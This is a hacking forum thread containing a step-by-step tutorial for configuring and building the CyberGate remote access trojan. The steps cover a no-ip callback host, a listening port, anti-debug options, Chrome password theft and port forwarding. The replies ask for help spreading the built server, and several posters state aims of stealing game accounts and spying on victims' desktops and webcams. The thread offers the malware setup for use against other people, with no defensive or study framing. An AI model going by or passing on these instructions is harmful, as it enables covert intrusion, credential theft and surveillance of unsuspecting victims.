yeti - January 30, 2010, 4:54 pm

CyberGate Rat Tutorial

by bzerkyeti. <3

In this tutorial i will be teaching you how to setup the RAT CyberGate 1.02.0

DOWNLOAD: <http://plunder.com/60fa317947>

OFFICIAL SITE: <http://www.cyber-sec.org/forum/index.php?>

STEP 1

go to www.no-ip.com

sign up

login

click "Add a Host"

[IMG][http://i50.\[censored\].com/351a6md.jpg](http://i50.[censored].com/351a6md.jpg)[IMG]

STEP 2

name your host anything you like at either no-ip.info or .biz

ex: hackforumsuser.no-ip.info

hackforumsnerd.no-ip.biz

click "create host"

[IMG][http://i49.\[censored\].com/t02k9u.jpg](http://i49.[censored].com/t02k9u.jpg)[IMG]

STEP 3

now open up CyberGate

click "control center"

then click "START"

[IMG][http://i50.\[censored\].com/34o9dme.jpg](http://i50.[censored].com/34o9dme.jpg)[IMG]

STEP 4

now click "DNS Console"

in username put the email you used for your no-ip

and in password put your no-ip password

for hostname put the name of the host we made

ex: hackforumsuser.no-ip.info

for redirect to click "Auto Detect"

and make sure DNS provider is set to no-ip

then click "Update"

[IMG][http://i50.\[censored\].com/2vdletj.jpg](http://i50.[censored].com/2vdletj.jpg)[IMG]

STEP 5

click "Control Center"

then "Options"
then click "Select Listening Ports"
in the blue box put 82
then click the green arrow
make your connection limit anything
and make your connection password your no-ip password
[IMG]http://i46.[censored].com/1221dly.jpg[/IMG]

STEP 6

click "Control Center"
then "Builder"
then click "Create Server"
click "New" name is anything
then click "forward"

STEP 7

delete the existing DNS and port
then click "add"
now type your no-ip host colon 82
ex: hackforumsuser.no-ip.info:82
click "Ok"
change identification to whatever but make the password your no-ip password
[IMG]http://i50.[censored].com/19lfsi.jpg[/IMG]

STEP 8

click "Installation"
do as i do
but click both "Random" buttons 5-15 times
[IMG]http://i49.[censored].com/14o0f9h.jpg[/IMG]

STEP 9

skip "Message" and "Keylogger"
Under "Anti-Debug" make sure every check box is checked
click "Create Server"
you can check whatever you want here
i suggest you check atleast "Google Chrome Passwords"
a message will pop-up if you do just click "Ok"
then click "Create Server"
[IMG]http://i47.[censored].com/24lvhnc.jpg[/IMG]

STEP 10

go to <http://www.portforward.com>
look up your router
follow the guide to port forward port 82

HOPE YOU LIKE THE TUTORIAL
DONT FORGET TO REPLY :D

0-day - January 30, 2010, 4:56 pm

YOU HAD THE SAME CONCEPT AS THIS THREAD:

<https://hackforums.net/showthread.php?tid=222657&page=1&highlight=Cybergate>

yeti - January 30, 2010, 4:58 pm

uhh r u dumb

they are both CyberGate

thus they will have to have the same concept

Data - January 30, 2010, 4:58 pm

Ifmao this rat spreads like wildfire

Jonhyk will be suprised when i tell him there already is a tutorial.

0-day - January 30, 2010, 5:04 pm

Sorry on my wording what i am trying to say is just nvm. lol my bad. uhm nice tut i am gna give you thanks..HEY QUICK QUESTION GUYS I NEED PEOPLE WHO ARE GOOD AT SETTING UP RAT'S IF YOU WOULD LIKE TO HELP ME SET PEOPLE'S RAT'S UP THEN LEAVE A POST HERE: <https://hackforums.net/showthread.php?tid=252800>

Ken. - January 30, 2010, 5:04 pm

Nice tutorial man.

Keep up the good work you always have nice tutorials =D

yeti - January 30, 2010, 5:05 pm

(Jan 30, 2010 06:04 PM)Ken. Wrote: [\[CITE\]](#) Nice tutorial man.

Keep up the good work you always have nice tutorials =D

thanks ken.

<3 :D

(Jan 30, 2010 06:05 PM)Fir3bug Wrote: [\[CITE\]](#) When i run the .exe it gives me this error : Windows can not access the specified device, path or file. You may not the the appropriate permissions to access the item.

HELP PLZ!?!?

run as administrator

Riddle - January 30, 2010, 8:27 pm

Spoiler ([Click to View](#))Nice tutorial man!!!

Deadmau5™ - January 30, 2010, 8:28 pm

how come it says its a virus????

unknown897 - January 30, 2010, 9:34 pm

Quote:how come it says its a virus????

It's a Trojan, of cousre it will detected...

Xaniar - January 30, 2010, 10:11 pm

Thanks dude, great tutorial.

SomeCallMeTuT - January 30, 2010, 10:26 pm

Very Nice TuT N00b Friendly.

LILW3D0 - January 30, 2010, 11:57 pm

thanks for the tut!!!!!!

Ken. - January 31, 2010, 1:12 am

Bumz for meh buddie =D

meowmix101 - January 31, 2010, 10:31 am

Kick ASS!!! Thanks a ton!!!!

FriendlyKill3r - January 31, 2010, 11:57 am

Good tutorial bro :)

Plutonium - January 31, 2010, 12:33 pm

Dude, Im pissed at you know, why the hell did you post an exact same tutorial when there is already mine?

PLUS.. Mine was posted before.. Damn noob you are...

fuRzinel^ - January 31, 2010, 12:39 pm

get off my nuts

a new version came out so i mad my own tutorial

take your panties out of your ass

D4N13LP00122 - January 31, 2010, 6:17 pm

I did everything correctly, and when i test it out on my own computer it doesnt appear on the list. I am running Windows 7 and a ran it as admin Please help? If anyone can help please teamview me, btw my aim name is Gamerslap122

yeti - January 31, 2010, 8:00 pm

sometimes you cant run it on yourself

for some reason when i run it on myself it wont work either

but my rat still works

Ken. - January 31, 2010, 8:04 pm

(Jan 31, 2010 02:54 PM)yeti Wrote: [\[CITE\]](#) get off my nuts

Don't get mad at him yeti, no need to rage over someone with -13 rep telling you off :/

George Carlin - January 31, 2010, 11:34 pm

This is a great tutorial man, everything worked fine for me, Time to get me some rs accounts :D

D4N13LP00122 - February 1, 2010, 12:16 pm

(Jan 31, 2010 09:00 PM)yeti Wrote: [\[CITE\]](#) sometimes you cant run it on yourself for some reason when i run it on myself it wont work either but my rat still works
Aight thanks man, i was so before confused lol,

yeti - February 1, 2010, 12:32 pm

no prolamo man :D hehehe

adjara2 - February 1, 2010, 12:35 pm

dude how to extract windows key with cybergate?do i need to decrypt the key?
Great Tut.

badtommy - February 1, 2010, 1:33 pm

thanx dude, Good tutorial. If i had HP I33t you would get rep. I still used the old version!

squids5 - February 1, 2010, 10:50 pm

yeti, I can't portforward on my computer anymore, for some reason, it wont let me, even when i use the program, any ideas? (I've tried every last way on earth to portforward)

badtommy - February 1, 2010, 11:59 pm

Quote: Plutonium Wrote: Dude, Im pissed at you know, why the hell did you post an exact same tutorial when there is already mine? PLUS.. Mine was posted before.. Damn noob you are...

He's totally right , this is a total rip-off .

In that case, thank you2 man!

You wont be forgotten ;)

pushl %ebp - February 2, 2010, 12:13 am

Very nice tutorial, I just had to add it to my tutorial of CyberGate. May I suggest you use [censored] VPN instead of hostspot shield?

Hotspot shield has advertising on every page. [censored] has 15 seconds of advertising at the start of connection, only trying to get you to upgrade account.

Hotspot shield redirects you to ASK search all the time, [censored] does not.

D4N13LP00122 - February 2, 2010, 9:24 am

yo can someone please test out my rat please, I will take you of as soon as i see that it appears on my list

DedicatedHax - February 2, 2010, 9:49 am

nice tutorial even tough there already is many like this one

D4N13LP00122 - February 2, 2010, 10:11 am

(Feb 2, 2010 10:24 AM)D4N13LP00122 Wrote: [\[CITE\]](#) yo can someone please test out my rat please, I will take you of as soon as i see that it appears on my list
Never mind i got it to work, great tut man, looking forward to your next tut

yeti - February 3, 2010, 1:59 pm

MissRai - February 20, 2010, 1:42 pm
Thanks for the tutorial, working well for me.

keylogginghacker - February 25, 2010, 12:42 am
my cybergate use to work fine with the older version, i installed windows7 and got this version and now it wont work? everythings setup. the no-ip thing is right and the program from www.portforward.com says my ports are open. but when cybergate is running the TCP port says its locked? does that matter? in the old cybergate i use to be able to infect myself and se me in the list. thats not working and none of the other computers on my network are working either.

please help, it would be greatly appreciated. or pm me your email if you want, for some msn helpage.

je parle francais aussie. - i think thats right? :P

Kraiser - February 25, 2010, 7:31 am
ekhm why my NOD32 found this?:
<http://www.eset.eu/encyclopaedia/win32-spatet-a-trojan-agent-dfsa-malagent-infostealer?lng=en>
in short
(Win32/Spatet.A is a trojan that steals sensitive information. The trojan can send the information to a remote machine. The trojan contains a backdoor. It can be controlled remotely.)

Internap. - February 26, 2010, 12:31 am
so i tred alot of Rat's now , but Cybergate is the best running one ;) thx for the nice tuturial !

iPixel - February 27, 2010, 5:25 am
PLEASE HELP
everytime i get up to create the server it says ..
it cannot respond
please help!

Lanky09 - February 27, 2010, 7:24 pm
im using windows 7 and it wont let me open the cybergate installer because i need permission when im the admin and it wont even show where it downloaded to...

phambi - February 27, 2010, 11:02 pm
thanks for this tutorial!

Cyclops - February 28, 2010, 6:22 am
I followed it word for word, even tested to see if my port was open. I tried running it on myself and nothing happened. Any help?

Waxmell - February 28, 2010, 8:41 am
does this work for vista?

nutte94 - March 1, 2010, 8:32 am
How can I portforward to 82? I don't get it, I clicked my router and after that I see a bunch of programs/games and I dont know what to click at? PLease help! My router is DLINK DIR615

henny23 - March 2, 2010, 2:01 pm

Works on Vista great! Thanks!

Amandris - March 3, 2010, 12:21 am

Awesome TuT helped me out tremendously.

Thanks man

jch4ck3r - March 3, 2010, 12:45 am

good tut.. thanks ?

..xX[ThunderStorm]Xx.. - March 3, 2010, 1:08 am

WOw pics are so large dude.Just decrease their size please

Ace Boogie - March 5, 2010, 11:22 am

hey, dude i am trying to extract the .exe but winrar says cannot execute... not fair. i want cybergate..

Tarik_95 - March 6, 2010, 3:13 am

(Mar 5, 2010 12:22 PM)currymanz Wrote: [\[CITE\]](#) hey, dude i am trying to extract the .exe but winrar says cannot execute... not fair. i want cybergate..

Just make another folder Called 'Cybergate' and copy the files and paste in there and run the Cybergate.exe and your Done.

Fallen_hacker - March 29, 2010, 9:41 pm

Thankz for the help man good tut love it :D

BNBDN - April 5, 2010, 7:14 am

thx for the great tutorial

keep it up MAN.....

Elite Hacker 69 - April 5, 2010, 12:51 pm

how do you make your own computer show up as one of the connections.... cybergate v1.04.8

Hacknow - April 10, 2010, 1:57 am

Hi,

I've a problem, i've create my server but when I execute, I don't see my PC on my Connection list.

And when i Update my No-ip.

I've this error : " is not a valid integer value

Thank you for help.

PS : I'm on windows XP

Zedd - April 10, 2010, 5:32 am

Good job !

Thank's a lot !

Nuz - April 10, 2010, 10:43 pm

Well written tutorial. Took a few minutes to follow. Thanks for the knowledge.

savageetheopian - April 11, 2010, 12:19 am

Took me awhile to understand thanks for your guide

SIM-209986 - April 11, 2010, 12:28 am

Nice tut keep it up :)

3k- - April 11, 2010, 12:29 am

(Apr 5, 2010 12:51 PM)Eliminate Wrote: [\[CITE\]](#) how do you make your own computer show up as one of the connections.... cybergate v1.04.8

Run the server on yourself.

Gwas_666 - April 11, 2010, 1:58 am

Sick tutorial bro, works great.

fireswap987 - April 12, 2010, 6:38 pm

hey, after im done and created the "server.exe" what do i do? do i send to other ppl through mail and stuff or what?

xxBiohazardXx - May 20, 2010, 11:12 pm

Every time I click update it tells me "Error: Invalid username" when I know for a fact the username is the one I signed up with. Could it be because I'm running CyberGate in Sandboxie?

Robdog - May 21, 2010, 5:20 am

Hey, my router is not on that list and im confused on how to forward my port.

Keizeur - May 24, 2010, 3:09 am

Nice tutorial man!!! and good rat :)

subvolatile - May 24, 2010, 5:25 am

Can some other port be used, like port 23 ?

Thug Life - May 24, 2010, 5:28 am

Awesome tutorial man, great work i like it <3

xxTITANXx - May 24, 2010, 8:27 am

How can I test If my RAT is working?

I tried it on myself and I it works I can do everything but that means that it works for someone else?

Naww - May 25, 2010, 7:19 am

Damn, I been looking...?

Thanks man!!

?

iamhappy321 - May 31, 2010, 2:40 pm

Done with my first rat server today and cant understand why it works only at mine PC

Tried to test it on Second / friend PC dont worked |Antivirus/ FW : OFF

Pm me plz if someone knowww <333

thanks very much for sharing :D , but i think 1.01.18 is better don't know why ^^

tkachevigor - July 12, 2010, 9:09 pm

Guys,i need some help with this. I followed everything up to creating the server and saving it. after that im lost.

im using my wifi connection. and our router is quest q1000. and its not on router list. and how do i check for the open ports cuz everytime i try it sais it can not find them. please help.

Jamie27 - August 6, 2010, 1:57 am

Hi, can someone help me?

I have tried the RAT on my on my desktop computer and it showed up on my laptop. But when other people download it, their computer doesn't show on my list. What is the cause(s) of this?

ZeroC00L21 - September 12, 2010, 3:27 am

THANK YOU VERY MUCH !!!! really appreciated !

verbuddy - September 12, 2010, 7:34 am

good tutorial

nice work

BMO? - September 22, 2010, 3:46 pm

people still dont show up in my rat after running the server....nothing ever works for me ?

pippin - October 4, 2010, 2:24 am

For some reason when i finished setting up the rat , it wont show any server online. The no-ip shows error "to many update sent you account is blocked for 1 hour" . If anyone will help me via teamviewer i will appreciate that add me henrycornelius@live.com

Eternity - October 4, 2010, 3:58 am

Nice tutorial bro. Good job. Nice desktop :D

DaRkOoO - October 4, 2010, 11:27 am

Obviosly, your no-ip is blocked.

Also, you realize that latest public version of CyberGate is 1.07.5 ?

hyhyyhhrf3 - October 4, 2010, 5:23 pm

tried to make one and i got this [8:25:05 PM] Error : To many updates sent. Updates are blocked until 1 hour passes since last status of 5 returned.

[8:25:41 PM] Error : To many updates sent. Updates are blocked until 1 hour passes since last status of 5 returned.

Magical_X - October 5, 2010, 7:26 am

Nice tutorial, i like it :) Thanks.

Golliath808 - December 15, 2010, 10:21 am

What do u prefeer? Turkojan or Cyber?

kiefer - February 25, 2011, 4:32 pm

i'm useing utorrent to open my port 82 is this ok?

SlippyMagooFace - February 25, 2011, 7:37 pm

Thanks for the TUT it helped me set up my first rat without a problem. Tried to go to the CyberGate site to read more about how to use some of the features but seems they have a new version out. So since I got my first machine tonight I wanted to ask a question so I don't screw it up. When I am viewing the desktop should there be a check mark next to mouse and keyboard? Or does not having the check mark make it view only? I would hate to mess with the mouse while I am spying lol. Also any ideas on how to tell if their webcam is active? I know I should use the search feature but having a hard time finding anything in all the results.

TheOrangeFigure - February 26, 2011, 1:58 pm

Thanks, this helped me a lot, great tut 5/5

ThaSloth - June 20, 2012, 11:11 am

Apparently the version you supplied is backdoored. Hmmmm

Enhypen - June 26, 2012, 9:36 am

I got an error called 'badauth' is not a valid integer value plzz help

bmr03 - June 29, 2012, 2:23 pm

Whenever i test my rat on myself i get a bunch of errors telling me that some .dll files are missing...any help?

demonicputty - July 9, 2012, 4:34 pm

can any one help me have team viewer please i want to do this and it says for some reason im banned when i just made an account so i can make a thread i want to control peoples web cam and desk top ?

bntakias - November 21, 2013, 2:15 pm

instead of noip what else can we use?? cause the noip expires sometimes! thanks in advance!!

Sex - November 26, 2013, 7:31 pm

on step 4 i keep getting " is not a valid integer value???? help plz

RomanoHD - November 28, 2013, 2:13 pm

Nice tutorial man this will help alot of peopl

Hackers papa - December 2, 2013, 7:02 pm

thanks for the heads up bro...i appreciate

A_Hacker - December 20, 2013, 8:38 pm

Missing .dll? And wont run the server when I click On it? Is that the file Im supposed to send ? the File that got created?

sHAY - January 27, 2014, 9:54 am

When i try it on my own computer the file gets deleted... Is it always like that or have i done something wrong?... :S

Cait Sith - February 8, 2014, 7:13 am

Nice tutorial man.

Keep up the good work you always have nice tutorials !

Spider86 - August 4, 2014, 10:19 pm

Very detailed and indeed it's good but I recommend to hide your IP using a VPN for the beginner

hackers.
